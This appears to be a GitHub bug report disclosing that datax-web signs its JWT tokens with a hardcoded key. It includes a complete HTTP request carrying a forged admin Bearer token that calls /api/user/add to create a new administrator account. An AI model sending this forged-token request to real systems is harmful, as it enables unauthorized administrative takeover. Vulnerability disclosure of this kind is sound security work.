[BUG] Key hardcoded Get administrator rights

[sh1rosec]

A fixed key is used to generate a token, and the token can be forged for the administrator to add to the login background.
https://github.com/WeiYe-Jing/datax-web/blob/master/datax-admin/src/main/java/com/wugui/datax/admin/util/JwtTokenUtils.java

Call method to generate token

add administrator :
POST /api/user/add HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: /
Accept-Language: en-GB,zh-CN;q=0.9,zh;q=0.7,zh-TW;q=0.6,zh-HK;q=0.4,en-US;q=0.3,en;q=0.1
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxLGFkbWluIiwiaXNzIjoiYWRtaW4iLCJleHAiOjE2ODcwNzcyNzEsImlhdCI6MTY4NjQ3MjQ3MSwicm9sIjoiYWRtaW4ifQ.eSujj0qZbJGU1Ou7xnOP4SW6S2Ys5SE9G0Vnus9Y4vSZNOA9ylpWfPue5hqDU5NzZNcJU49SCtIwIiKMhReQtg
Connection: close
Content-Type: application/json;charset=utf-8
Content-Length: 92

{"role":"ROLE_ADMIN","username":"test","userEmail":"","password":"123456","permission":""}